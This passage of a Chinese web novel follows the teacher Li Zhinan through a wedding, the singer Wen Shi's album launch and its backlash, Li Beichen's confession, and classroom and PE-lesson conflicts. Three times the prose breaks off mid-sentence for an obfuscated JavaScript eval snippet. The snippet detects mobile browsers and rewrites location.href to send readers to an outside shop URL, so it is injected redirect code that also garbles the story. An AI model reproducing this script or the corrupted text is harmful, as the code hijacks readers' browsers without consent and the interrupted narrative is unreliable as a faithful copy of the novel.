李知难的表情极为难看,这些夸赞的话语像是一计计耳光一般,因为故事有两个面,但凡知道他们的故事,在她面前只会说那个漂亮美好的开头,在她背后却必然会诚实地讨论故事的另一面:那个结尾时被裴方禹狠狠抛弃的自己。 白月光?可笑。 桌子上的照片?狗屁。 男人对外展示的深情不过是一场自欺欺人的戏码,她早过了陪着一起演的年龄。 她低声对曲子格道:“我有点不舒服我先走了,你一会儿帮我和书维说一声。” 可才站起身,突然被身后的男人搂住了肩膀。 “您这话说得我可就不爱听了,”宋乐看着对面的男男女女,调侃地口吻回道:“要说我们伟大的园丁李老师非得是谁的什么,那也是我老婆,怎么还成了别人的女朋友了呢?” 宋乐穿着板正的西装,手上甚至戴了块她从没见过的表。 “那位就是裴大外交官啊?”宋乐眼神看了看那边。 李知难不知道他唱的哪出,点了点头。 “百闻不如一见,见了也就那么回事。怪我老婆太优秀,才让他贼心不死,”他笑道,“我来晚了,路上有点堵车,知难,少喝点酒,别老贪嘴跟个小孩儿似的,回头胃不舒服。” 他顺手将酒杯放到一边,给李知难夹起了菜。看着这画面,就连一向心直口快的曲子格,也老实地选择了闭上嘴。 他在众人面前扮演着绝世好丈夫,自然又圆滑地展示着自己“官二代”的气度。论外表,宋乐是没有赢面的,可相处一阵之后,他身上有股正派却讨喜的谈吐气质,想要撑个场面也不在话下。 “你怎么会来?”散场后,李知难好奇问道。 “孙书维告诉我的,”宋乐答,“我也是不怕一万怕万一,要是没有那些乱七八糟的,我也没打算进去。” 李知难道:“去帮我营造一个家庭幸福的假象,好证明我赢了?” 宋乐低头:“我知道我没有体面到让所有人都一眼就羡慕你过得更好的地步,不过我看当时的场景,你可能需要一个战友。” “谢谢你。”她小声道。 “你还是没放下他。”宋乐装作无意地回答,“你自己不放下的话,别人是没法替你挣回这个面子的。” 李知难轻声叹道:“我也早过了需要提着一口虚荣气过日子的年纪。” 婚礼堂另一侧,奚西对着低头不言的李北辰无奈道:“师哥,你为什么不过去呢?明明就在旁边了。” 李北辰摇了摇头。 “今天本应该是你带知难走的,”奚西遗憾道,“被那个前夫抢了戏。” 李北辰轻声道:“他也不算什么。” “怎么不算?”奚西道,“毕竟是皮皮的爸爸,知难的前夫,万一知难感动了,跟他破镜重圆,我看有你后悔的!” 李北辰摇头,“她不会的。” “你怎么这么确定?” “我就是确定。”李北辰答,手心被指甲掐得生疼。因为从她结婚那日起,他就知道这件事,余下的每一天,都是一遍又一遍地确认着这件事。李知难不爱宋乐。这是支撑着他一直奔跑下去的最大动力。 可是今天他亲眼见到了李知难爱一个人的样子。 42. 新歌首唱会 文诗的新歌首唱会开始了预热,作为八卦传播小能手的学生们早已经七嘴八舌地讨论起来了。大家兴奋地聊着如何抢到门票去看文诗本人,平日里最积极的苗苗反倒是一脸不屑,尖酸道:“唱功又不咋滴,就知道买热搜骗关注。” “你不是文诗铁粉吗?”暑假的事情对于孩子们来说早就是八百年前的往事,没几个人还记得曾经被高傲的女明星践踏过的小女孩的尊严。 “我选偶像也是看人品的,她那种人品根本配不上我的喜欢。”苗苗否认道。 穆婷婷小声在一旁道:“你话别说得太早,我爸给了两张首唱会的门票,你要不要去?” 苗苗翻了个白眼,道:“看她去演戏吗?我才不去。” 一旁的赵星移听到,凑上前:“她不去我跟你去啊?” 苗苗没好气地看他:“你琢磨什么呢?也轮得到你?” 赵星移耸了耸肩,回:“你不是不想去么,不然票也是浪费了,为什么我不能去?” 上课铃声响起,如同每个高中课间的讨论主题一般,这次也是轰轰烈烈地开启,悄无声息地结束。李知难拿着课本走进教室,按照昨天留的作业,第一件事便是抽查上节课的课文背诵情况。 学生们低着头,生怕和她有任何眼神交流。 “没人举手那我点名了?”李知难看着一个个垂下的小脑袋瓜,例行将自愿变成强迫。 原本在后排翘着椅子嘎悠得开心的赵星移突然失去了重心,“啪”地一声摔了过去,在大家的嘲笑中,赵星移也被李知难选中了背课文。 赵星移背得磕磕巴巴。李知难道:“上节课说了抽查,背不下来的抄五遍,明天早晨交给我。” 赵星移坐下,反复回头看着身后,总觉得刚才的意外是来自外力,可后面坐着的人是秦梓轩,他这种恨不得把自己打造成世界第一酷男的人,断不可能做这种小学鸡的幼稚事情。 午休时,曲子格看着苗苗递过来的请假条,一脸心知肚明,道:“你是不是当我傻?” “啊?我没有啊。”苗苗自己也心虚。 “你这个月都来了三次月经了,”曲子格拿出了日历,看着上面圈的红点,道,“我要不然带你去医务室看看去吧?别是什么严重的病。” 苗苗看着那日历,喊道:“您怎么还记这个!?” 曲子格:“因为你们这帮小猴儿,没点本事降不住啊!” 苗苗道:“以前韩老师都直接给准假……谁还追踪这个……外面那么晒,我要是中暑了,那倒霉得不还是您嘛!” 曲子格道:“都快冬天了你还中暑?这个天要是中暑,那说明你身体素质太差,我更得好好锻炼锻炼你了。苗苗同学,好身体才是一切的基础,要不然今天你多跑两圈,提高提高身体素质?” 苗苗赶紧求饶:“我错了老师,我这就走。” 曲子格对后脚打饭回来的李知难抱怨道:“你们班孩子真难带,一个个的,八百个心眼子。” 李知难急忙把饭盒递过去:“曲老师多辛苦,来来来,红烧鸡块。” 几口饭下肚,曲子格的心情总算好了些,也和她聊起了当下最火的八卦:“听说了吗,文诗要出新专辑了。” “哦。”李知难低头吃饭。 “你说她这种三观不正的人,是怎么当成明星的?”曲子格啧舌道。 奚西同她说过当时的事,令曲子格对于大明星不尊师重道的行为颇为不齿,李知难回道:“我觉得可能是她的心理阴影吧。” “不尊重老师是品德问题。”曲子格上纲上线道。 李知难反问:“你上学的时候遇到的老师都是好老师吗?” 曲子格想了想,回:“也不敢说都是好老师,但是我至少对这个职业有敬畏心。” 李知难摇了摇头:“职业也不能概括所有人性,什么职业都有好有坏,我感觉当时那个老师伤她还挺深的,以至于她现在赚这么多钱却还想要和月薪几千的老师去比一比才能找到优越感。她应该是那种青春期被老师辱骂打压得挺狠的学生,一提起老师来感觉装都装不住,恨不能立刻骂几句泻火,这种阴影很可怕的,人摆脱不掉就跟随一生,也会导致对另外一类人全都有负面印象。所以你也不能只说她三观不正,毕竟咱们也没经历她当年受的苦。” 曲子格看着她替别人辩护的样子,皱眉道:“你这人什么毛病,怎么老爱站道德至高点教育人呢?” 李知难也即刻反省道,“我也不太喜欢自己这个习惯,可能当老师当惯了,逮着谁都想教育几句,你以后多提醒提醒我,好为人师容易招人讨厌。” “孺子可教,会反省的李知难还是好知难。”曲子格满意点头,“再说了,谁还不是个老师了?” 办公室外准备找曲子格要回病假条的苗苗恰好听到了她们这段对话,心里突然就生出了小心思。下午放学时,她对穆婷婷道:“我改主意了,咱们去文诗首唱会吧。” 穆婷婷有些尴尬:“你不是上午才说不去的吗?” “我都说了反悔了,”她看穆婷婷的样子,道:“你不会真想和赵星移一起去吧?” “我……”她摆了摆手,回道:“当然不是了!那周六上午你来我家。” 文诗在可能音乐的最后一个项目是和李北辰一起参加的综艺《声伴》。节目一周前上线了,给李北辰带来了些影响力,他的外形条件太过优越,第一期只是被镜头扫到几个画面,就有人在网上询问他的信息,第二期节目上线,作为“制作人”的李北辰被认认真真地进行了介绍,更是收获了很多好感。 但作为原定主角的文诗却被删减得没剩多少镜头,她心里清楚,可能音乐是利用她的影响力吸引观众,实际是为了捧新的女团。虽然文诗和可能音乐已经割席得大差不离,只剩下面子上的关联,程序上的合同,但这种最后一刻也要将她榨一榨剩余价值的行为,仍令她颇为不悦。 艺人和公司之间的关系总是异常微妙。起初,公司力捧籍籍无名的她,她也分外感恩戴德。但后来她成了招牌,公司却学不会对她同样感恩戴德,反倒把她当成了理所当然的赚钱工具。 她原始的定位是清纯可爱的玉女路线,给她推的歌曲也都是俏皮活泼的口水歌。这在她刚出道时还颇有道理,而对于已进入稳定期的她,这种定位自然有些拖后腿。她希望观众看到她的实力,她的内涵,而可能音乐却并不同意半道换路线。随着年龄增加,新人竞争,她渐渐失去了曾经的优势,慢慢的,被人叫花瓶,被人骂没唱功,笑没脑子,变成了她碰不得的逆鳞。可能音乐不在乎这些,只要她有流量有粉丝有话题,黑红也是红。 在基础认知不对等的情况下,文诗去年就已经决定合同到期后离开可能音乐。 没了高门大户的庇佑,前路必然是艰辛的,因此这次新专辑是她赌尽一切为自己打翻身仗扬眉吐气的机会。 首唱会是文诗脱离老东家后第一次以独立工作室的身份运作活动,地点选在方便和粉丝近距离接触的小型体育馆,能得到入场门票的基本都是选定的宣传媒体和有门路的老粉。她以一首脍炙人口的老歌开场,舞台下粉丝全力应援,气氛热烈非常。 在主持人简单的暖场后,她又表演了几首新曲目。作为文诗的多年铁粉,台下纷纷夸赞着偶像新歌如何好听,如何感人,只有苗苗在中间拉着脸不以为然。 后半场,文诗换衣服的间隙,主持人介绍道:“下面向大家介绍本次专辑的制作人,李北辰先生,李北辰先生在业界一直有好评,此次为文诗专辑掌舵,更是贡献了七首原创作品,那么接下来我们就请李北辰先生为我们带来一首歌曲,请大家掌声欢迎。” 穆婷婷兴奋道:“是小李老师?” 苗苗也颇为意外:“小李老师是她的制作人?” 李北辰在台上礼貌地鞠了一躬,台下发出此起彼伏的“好帅”声。之前综艺的预热让李北辰小有名气,地下的观众自然也对他的到来惊喜不已。 李北辰道:“感谢大家百忙之中前来文诗的新歌首发会,因为她现在需要换身衣服,所以由我给大家唱一首歌。这是一首老歌,不知道你们有没有听过,但是我个人很喜欢,小时候第一次在电视里听到的时候,就喜欢上了,希望你们也会喜欢。” 穆婷婷和苗苗下意识般一起举起了手机,认真地录起了相。 李北辰唱的歌曲是一首港剧的配乐,年纪比穆婷婷和苗苗都大,应当比在场大部分粉丝的年纪都大,名字叫做《祝君好》。 他声线温柔,带着天然的儒雅,缓缓轻声低诉。 …… 宁愿没拥抱共你可到老 任由你来去自如在我心底仍爱慕 …… “小李老师好帅啊!”穆婷婷被舞台上陌生又熟悉的男人震撼。 苗苗也不由点头。 平日里近在身边的老师,一旦站在聚光灯下,那些魅力也被聚光灯聚拢,放大地闪烁着,似天上繁星。 几分钟的歌曲结束,换好衣服的文诗再次上台。周围粉丝大声喊着她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14578550|153793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的名字,苗苗将手机又收了回去。 穆婷婷看着她明显的区别对待,小声道:“你这不是不喜欢了她吗?那咱们干嘛还要来?” 苗苗话里有话道:“我有问题要问她。” 总算等到了首发会最后的提问环节,苗苗高高地举起了手。到底是在学校里每天专业举手的学生,她的主动很快吸引了主持人的注意。 苗苗拿着话筒站起,手微微发抖:“我是一名高中生,我想问一下文诗姐姐,还记得自己高中的样子吗?” 文诗没有认出她,只礼貌回道:“当然啦,历历在目。” 主持人营造着氛围:“看来我们文诗的粉丝群受众非常广泛啊,连高中的朋友们也来参加首发会了,那我也很好奇,文诗高中的时候,是一个什么样的学生呢?” 文诗似乎不想多谈,只回道:“就是普通学生而已。” 粉丝喊道:“怎么可能,才不会呢!” 主持人解围道:“这一听就是谦虚了,我有了解过一些,大家都知道,我们文诗是伯克利毕业的。” 台下一片叫好声。 “没错,名校毕业的大才女,那在高中的时候,想必也是电视剧里白月光初恋的形象了!” 台下又是一片兴奋地起哄声。 文诗微笑着点点头,不置可否。 苗苗突然高声问道:“那文诗姐姐是不是非常受老师的喜欢啊?能跟我们分享一下你印象中最特别的老师吗?” 文诗尴尬道:“太久远了,真的想不起来了。” 谁料苗苗仍然没有放弃话筒,又道:“那文诗姐姐是怎么看待老师这个职业的呢?会不会觉得是世界上最高尚的职业?” 文诗表情下意识闪过一丝鄙夷。 主持人也没想明白这位高中女生问题之间的逻辑,只圆场道:“这位同学的问题还挺专业,是不是长大以后也想当老师,想问一下自己偶像的建议?” “对,我觉得老师是这个世界上最伟大的职业,当明星赚这么多钱,那当老师也应该多赚点!”苗苗看似没头没脑地答,眼睛却已经忍不住兴奋地发着光。 舞台后的李北辰自然认出眼前的学生,他虽然不知道苗苗的用意,但也察觉出问题的不妥,小声在耳返中叮嘱:“不要回答了,换下一个话题。” 文诗侧过头,看向舞台后的男人。 视线相对,李北辰认真道:“不要聊和老师相关的事,聊你的专辑就可以了。” 这一刻,文诗想到了李知难。被李北辰放在心尖上,膜拜了这么些年的李知难。纵使今天的自己已经获得了万千偏爱,能够站在最光鲜耀眼的地方,可仍比不过站在那一方小小讲台上的李知难。 她突然开口道:“我不这么认为,我觉得这就是一份职业,和所有职业一样,只是一份工作,没什么高尚的。至于你说的工资太低,我觉得,教师的工资低一些,不是什么坏事。毕竟这种需要使命感的工作一旦工资高了,大家都来争抢,反倒容易让道德水平低下的人混进来。这种处在社会重要位置的岗位,如果犯了错,是会动摇社会根基的。” 李北辰听着她这番言论,有些意外。 苗苗听罢也失望地坐了下来。她原本以为按照前两天李老师的说法,文诗对老师这么讨厌,自己能够激她说出些黑暗理论,然后让大家好好看到她两面派的真实模样。可她这番言辞倒听着颇有道理,自己一时间挑不出毛病。 文诗下台后,经纪人急忙跑过来道:“我的祖宗,你说那些话干什么!” 文诗反问:“你不觉得这话挺有深度的吗?” 经纪人道:“有什么深度啊!这话说出去,明天非得热搜不可,你微博账号别登了,我一会儿让PR想一下公关的话术。” 文诗不悦地回到了后台化妆室,对早等在里面的李北辰怨道:“不是,我这话怎么了?没道理吗?” 李北辰答:“说得挺好的,挺有思想的。” “对啊,我也是这么想的,这个看法难道不独特吗?” “独特,你今天的热搜不用花钱买了。”李北辰平静道。 “我也觉得这话能帮我换一个热搜,所以我才说的。”文诗理所当然道,“之前他们不是讽刺我没内涵,说我是花瓶么,我觉得这是一个让大家看到我思想的好机会。” 李北辰看着她,摇头道:“不是这样的热搜。” “什么意思?” “你刚才的那段话,会被人解读成——何不食肉糜。”李北辰缓缓解释道。 43. 我是什么身份 文诗不解地看他。 李北辰:“道理是没有问题的,问题出在说这话的人身上。你的身份,就不能说这样的话。” “为什么?” “因为你是拿高薪的明星,你是既得利益者,你没资格替底层教师发表看法。”李北辰解释。 文诗反驳道:“可我那句话说错了?” “我说了,话没错,说话的人错了。”李北辰道,“这两天别上网了。” 文诗意外道:“你真的假的?” 果然,视频一爆出,铺天盖地的营销号针对文诗的发言各种谴责,而她之前的黑料也成为附属一起被端上了盘,供大众娱乐和诋毁。 次日皮皮下钢琴课的时候,闹着要在李北辰的书房里玩儿会再走。说是李北辰买了新的足球游戏机,答应了他下课后可以玩儿两把。李知难看着他摆弄着李北辰的游戏机,略有歉意。 李北辰给她倒了杯水,侧了侧头示意她过来等。 他今天话意外地少,放佛故意装作看不到她一般。 李知难犹豫了半天,才忍不住没话找话道:“我还挺意外你今天能正常上课的。” “为什么不能?” “文诗那事闹得挺大的。” “那也是没办法的事情。” “这事儿很难解决吧?” “她从事的行业决定了这件事的无解性。”李北辰将那日自己和文诗及经纪人的对话告诉了她,以及大家默认地冷处理方式。虽然这可能会牺牲文诗新专辑宣传的黄金时机,但眼下利弊相权,还是趋避问题更加重要一些。 李知难小声道:“其实这事我可能也有责任。” “为什么?” “这话是我跟她说的……”李知难坦白道。 “李老师,你不会连这个都能在自己身上找到错误吧?”李北辰望向她,解释道:“文诗是成年人了,她可以承担自己的后果。” 李知难摇头,她也没有要替文诗承担后果的意思,只是想说清自己那份责任:“我是说,如果你们的公关需要解释,我可以出面为她解释,很多曲解这话的人,曲解得有点过分。” 李北辰笑了笑,道:“大众不在乎文诗的本意,大众只需要娱乐。而文诗必须提供给大众娱乐的价值,无论是正面还是负面,这是无法控制的。” “我只是说,如果需要的话……”李知难别开了脸,生怕他误会自己自作多情。 李北辰答道:“不是这件事也会是别的,她离开了可能音乐,没人帮她打点这些事情,她自己说话又总是有漏洞,被网络暴力是难免的事。甚至就算她不出纰漏,只要钱到位,她照样会被网暴。你解不解释都不重要,本来也没有人在乎真相。” 李知难说着自己的看法:“我是觉得,哪怕有一个人在乎,也应该说出来,因为真相就是真相,这是对的事情。” “那你就会被卷进去,舆论的漩涡里,没有人能全身而退,你作为体制内的高中老师,一旦陷进去了,谁也说不好后果是什么,最好的结果是没人在意你的真相,而最坏的结果,是把你也编得面目全非。你没有赚这份钱,不需要做这些事,我也不会让这种事发生在你身上。”李北辰态度坚定,他这话说得让李知难觉得自己才是那个什么都不懂的学生,在听他这位老师传道授业解惑。 李知难道:“我是想帮帮她。她好像以前被老师伤害过,所以我觉得借此机会改变下她对我们的印象也很好。你们不需要就算了。” “我不在乎这些。”李北辰突然道。 “啊?”她没懂。 “她对老师的印象,社会舆论对她的影响,我不在乎这些,因为这些都可以解决,她有专心的团队,有经纪人,甚至有心理医生。” 李知难摊手道:“行,算我多管闲事好了,我想着两害相权取其轻,你们不愿意选,我也没有上赶着的道理。” 李北辰回道:“这不是我会做的选择。” “对对对,我的选择幼稚了,不专业了,当我没说好吧。”李知难摆了摆手。 “不是你幼稚,而是我不会做这样的选择。只要你会被卷进去,那我首先会考虑的只能是你。”他这样突如其来地说,让李知难没有任何心理准备。 “无论在任何时候任何情况,我都只会毫不犹豫地选择你。”他冷着脸,像是生气一般,莫名其妙地说了这句话。 李知难怔住了。明明是一句听起来摇动人心的话,可她在听到这句时,只恍如一盆冰水从天而降,浇得她整个人湿透。 因为,这话是李知难对裴方禹说过的。 年轻貌美的女老师和英俊儒雅的外交官,如同完美故事里的天赐佳偶。她当初也是这样觉得的,上天赐给了她完美的恋人,完美的工作,放佛人生就会一直在神仙的照拂下畅通无阻。 可他选择了事业,放弃了她。 “生活不是演电影,我有我的理想,爱情是很重要,你也很重要,但是这些都不能阻挡我去追求我的理想。如果我真的选择为了爱情而平庸,而碌碌无为,日后的你也不会爱这样的我。知难,我只是做了不得已的选择,我们都不是孩子,我们不能幼稚地用爱情作为生活的基石。”裴方禹和她解释。 李知难表情决绝,她看着眼前的男人,坚定回道:“我不是幼稚,而是……无论在任何时候任何情况,我都只会毫不犹豫地选择你。” 每一场爱情结束时,都是伤筋动骨的。李知难躺在医院里,赌她的伤筋动骨能不能换来男人的心疼,这份心疼能不能敌过他对事业的在乎。 当病房门开时,看着穿着校服的男孩,她知道自己赌输了。 高烧下浑浑噩噩的李知难仿佛中又看到了裴方禹的脸,心疼地询问她有没有好一些。 李知难流着眼泪,委屈地像是个孩子:“你怎么才来?” 对方没有说话,她喃喃道:“我真的不是幼稚,我是真心的,无论在任何时候,任何情况,我都会,我只会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14578551|153793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,毫不犹豫地选择你,裴方禹,你为什么不能选择我呢?” 她仰起头,和着泪水吻上了男人的嘴唇。 那是她第一次,唯一一次,最错的一次,无论时间,地点,人物,全都乱套了。她第一次放下自己的尊严,去祈求别人的爱情,唯一一次将心剖开,送到别人的面前,结果便是在最不应该的人面前做了最不应该做的事情。 也许正是因为这件事情,她每每面对李北辰的时候,总要格外强调自己的尊严和身份,因为在她心底,她知道这个世界上只有眼前那个人,亲眼目睹过她最不堪的样子。 乱套了。她脑海里密密麻麻地出现了这三个字。 他应该装作忘记那天的事情,而且他之前也一直假装得很好,哪怕是那天说起这个亲吻,他也只敢浅尝辄止地提,再多说一点都生怕触及到她的自尊。但是今天有什么东西不一样了,他彷佛不再龟缩着一点点地触动她的外壳,而是急脑地想让她意识到些什么。 李知难心里清楚他想要放到明面上的东西是什么,但是在今天之前,她一直假装这东西从不存在。 “李北辰,”李知难冰冷着脸,“就像是你和文诗说的一样,有些话是不能说的,哪怕话本身没有问题,人的身份决定了不能说这样的话。” 李北辰并没有被她吓到,冷静答:“这是你先对我说的。” “我不是……”她噤声了。 这件事太耻辱,以至于她没办法将内容明说,哪怕是用来和他辩驳。 “李知难,”他突然改口叫了她的名字,“我是什么身份?什么样的话我不能说?” 李知难吞了下口水,眼神内满是对这不合时宜的话在不合时宜的场合说出的震惊,她忍不住瞥向皮皮的方向,害怕他出来,又有些希望他能立刻出来。 “我不说,你就能一直装作不存在了,对吗?”他咄咄逼人道。 李知难被他逼到了进退无门的地步,她脑子里空白得一句话都没有,喉间使了几回力,也吐不出来半个字。 “我是什么都不能说的身份。”他轻声笑了,自顾自地回答了自己的问题。 她知道此时闭口不言是最好的,不承认就可以将过去掩埋,也可以假装自己没有任何心思,这样表面的和平是她的最优解。可一向温润清朗、进退有度的男孩终于露出了那一角,其中的偏执就足以让自己哑口无言。她隐隐觉得再别过头去假装,自己都会厌恶自己的卑劣。那片刻的动摇,让她的理智被驱赶到一边,李知难低下头,轻声道:“李北辰,一辈子很短,你应该活得精彩一点。” 李北辰淡淡答:“一辈子也没有很长,我等得住。” 他状若无事地喊了喊皮皮,叫他出来。皮皮遗憾地磨蹭出来,和他约定了下次还能再继续玩才心满意足地离开。才出小区没多久,李知难的手机传来了微信的通知。 裴方禹请求添加好友。 李知难想都没想,下意识便有些厌弃地摁下了拒绝键。 44. 体育课的意外 气温一天比一天冷,早会结束后,曲子格埋怨道:“这帮学生之前真是让老韩给惯坏了。女生月经,男生胃疼,假条都没有靠张嘴就敢请假,什么毛病?” 孙书维解释道:“韩老师原本也是坐等退休的人,体育课近几年才不被主课老师占课,还是教育局那边下了硬规定,他也是习惯了。” 秋风吹过,曲子格紧了紧外套道:“哎,天一冷,真是做什么事都提不起兴致。” 孙书维回:“对,春困秋乏夏打盹儿,睡不醒的冬三月,曲老师一年四季都有理由。” 曲子格笑道:“说起来,孙老师是不是又该组织教称考试了?今年看看我呗?” 孙书维上下扫了她一眼,狐疑道:“你总算是想起来这事了?真的打算考?” 曲子格小鸡啄米似的点头。 孙书维:“那你放学来我办公室,我仔细跟你聊聊这事。” 正巧稍后有会,孙书维急忙走了,曲子格在旁感叹:“我有时候看她会下意识联想到我妈,不知道为啥。” 李知难解释道:“可能都是你进步路上的鞭策者,有书维是你的福气。” 曲子格点了点头:“对,就是这个感觉,跟她聊点闲话感觉跟犯法似的,但是正事,贼稳。”她比了个手势,逗得李知难直笑。 “对了,最近怎么看不见奚西了?”曲子格习惯了会后几个人一起走回去,今天少了一个显得有些冷清。 李知难想到前两天收到的电话。奚西从婚礼回去后就和陈亦童狠狠地吵了一架。吵架原因十分简单,陈亦童不理解为什么她不带自己参加婚礼。奚西的理由也很充分,她入职没多久,和孙书维也只能算是间接朋友,又有李知难和曲子格在旁,她实在不觉得这是个带陈亦童出席的好场合。 何况,他们之间算什么?有谁会带自己的上床对象参加人家的结婚典礼,听起来就晦气。 可她又说不出这话,好像是自己主动想找陈亦童要身份似的,话都藏着说,自然容易起矛盾。话赶话,两个人的争执越来越大,最后她说出了不想再见他的话。 这件事导致她最近心情十分不好,也不愿和人多说话,会后急急忙忙先走了。可李知难也不好和曲子格直说,便含糊道:“可能忙呢,走吧,我请你喝咖啡。” 曲子格答:“可以,你先请我喝咖啡,我回头请你喝喜酒。” “日子定下来了?”李知难讶异道。她知道曲子格最近一直在忙着选酒店,左右挑花了眼,还以为满北京城没有能入她眼的地方了。 “明年四月十三。”曲子格答,又急忙补充道:“有点不吉利是不是?但是价格便宜,我跟思齐毕竟是园丁家庭,该省省。” 李知难不喜欢这些老旧讲究,也害怕她嘴上这样说,心里再乱别扭,道:“丁是丁,卯是卯,哪天结婚哪天好。” “小词儿不错啊!”曲子格比了个拇指。 身侧跑过来两个女孩,左边的那个没注意撞到了她们身上,急忙道歉才发现自己撞到了老师,立刻从糊弄地道歉变得恭敬了些。右边的那个没意识到,还催促:“赶紧的,一会儿去晚了就看不到了!” 曲子格和李知难交换了下眼神,还没来得及问,两个女孩小兔子一样似的跑远了。 “咱们学校有什么这么好看的东西吗?”曲子格问。 李知难摇头。 “去瞧瞧?”曲子格也起了八卦之心。 李知难一会儿有课,摆摆手懒得掺乎了,毕竟学校里面不得不看的东西大多是孩子们的小题大做,她开始那几年还颇有好奇心,现在只觉得离这些幺蛾子远一点最好。曲子格不同,她鼻尖哼哼两声,势要把眼前的瓜吃个明白。 这几日女生们之间都在小声传,二楼女厕所里有只桃金娘,每次大课间都会准时在那里哭,大家像是发现了都市传说一样,纷纷去二楼女厕所听动静。 每隔一日,议论声便更大一些。 “所以到底是谁啊?盛怡说不是她。”这一日,班里几个女孩已经讨论得沸沸扬扬,连着几天都推测桃金娘的身份,惹得三个年级被提名的几个女生都赶紧纷纷出来自证。 廖蒙的同桌申琦是出了名的八卦阵阵眼,廖蒙天天听这些叽叽喳喳,实在忍不住,一脸不悦道:“你们能不能别这么八卦了?” 女孩们作鸟兽散,只小声窸窸窣窣道:“她吃枪药了?” 有人低声:“估计跟秦梓轩闹分手呢,我看秦梓轩最近都不怎么理她。” “所以到底桃金娘是谁啊?”话题再次回到了都市传说身上。可直到这一日,也仍没人能说清桃金娘的真面目。 李知难放学后敲了敲奚西的办公室门,看着那双红红的核桃眼睛,心疼道:“你这又是何必呢?” 奚西低声道:“我必须和他分手。” 李知难道:“为什么?” 奚西低头不答。 “其实……你要是喜欢他,就不用在乎那么多。”李知难小声劝道。 奚西摇头,坚定道:“我不会难过太久的,我很快就能忘记他的。” 李知难看着她,想到了当年的自己。那时候倔强又骄傲的她也是这样对自己说的,我李知难怎么可能为了一个男人放弃我骄傲的自尊心,不过是分手而已,没两天我就会找到比他更好的了。 现实中,硬性条件的确不乏比他更好的,她像是在玉米田里寻找最大的那颗玉米一样对这些人评来比去,想选出最好的那个,让裴方禹瞧瞧。 可是她选出来的那颗玉米,那颗明明最拿得出手的玉米,仍然在裴方禹面前暗淡无光。 他的一切优异都败给了一件事,他不是裴方禹。 李知难也终于接受,此生,或许她找不到比他更好的了。因为好的标准,是自己给他塑的金身。 另一边,廖蒙在自行车棚内将笔记本递过去,小声道:“看完了,谢谢。” 秦梓轩没回话,将笔记本收回到书包中。 “分手了也不用这个态度吧?”廖蒙道。 “……”秦梓轩仍旧不言,推着车向外走。 廖蒙被晾在原地,恨恨回头,突然发现教学楼里出来的一男一女,她仔细瞧了瞧,女生是同班的章乐怡,她的手被旁边的男生拉着,亦步亦趋地跟着他往前走。 章乐怡也发现了她,急忙把手从男孩手里扽了回来。 第二天降温,气温破天荒地掉了十度,原本的不适伴随着北京特有的冷风,在外面站一会儿就冻得刺骨扒皮。 体育课在曲子格的铁血政策下,将没有假条的请假作风变成了历史。上午第三节体育课,哆哆嗦嗦的六班学生们才站好队,队伍中高个子的男生文泽举手,说自己肚子疼。 曲子格有些难以置信,竟然还有人敢往枪口上撞,没好气地问道:“有假条吗?” “没有。”文泽干脆又无赖地回。 “那就把手放下。”寒冷本就让曲子格心情不佳,他自找死路的态度更是雪上加霜,曲子格搓了搓手,道:“好,上课先跑两圈热热身,天冷,大家做一下拉伸运动。” 文泽阴阳怪气地在一旁道:“到底拉伸运动是热身,还是跑步是热身啊?” “你什么意思?”曲子格朝着他走了过去。 文泽比她高半个头,故意抬着头却低着眼看她:“您指令都给不清楚,我问您什么意思?” 曲子格没好气道:“文泽,你多跑一圈。” 文泽反倒是得意了些,故意提高声音道:“曲老师体罚啊?教育局允许老师体罚学生吗?” 曲子格才想急眼,被六班体育课代表拦下了:“对不起曲老师,文泽吃错药了,您甭理他,上课吧上课吧,别让他耽误了我们大家的时间。” 本节是篮球课,跑步结束后,学生们练习简单运球。入门的教程难度惹得几位调皮的男生忍不住炫技,纷纷在同学面前耍起了有些难度的花活儿。曲子格见状,也不介意让水平好些的学生单独练习,毕竟基础脚步对他们来说也没有学习的必要,就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14588126|153793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顺势将学生分成了两组。 “文泽,你在这边。”她对着下意识走向另一组的文泽弯了弯手指头。 才刚展示完灌篮技术的文泽不服气道:“凭什么啊?我跟周叶他们一组的。” “你是老师我是老师?”曲子格挥了挥手,“赶紧过来。” 文泽板着脸,气冲冲道:“老师就能公报私仇?把我分到这帮狗屁不会的人里让我跟他们一起爬格子?我小学就会打球了,谁教谁还不一定呢!” 曲子格本意是纠正一下他平时传球中的脚步问题,见他这态度,也不由火了起来:“你今天什么情况?不想上课是吧?走,咱们去办公室说。” “说就说,自己教学有问题还不让说了。”文泽一句跟一句地反呛。 周叶急忙道:“曲老师您别生气,先上课,咱别的同学也没做错什么啊,别让他一颗苍蝇屎耽误了咱们整个班,您下课单独训他。” 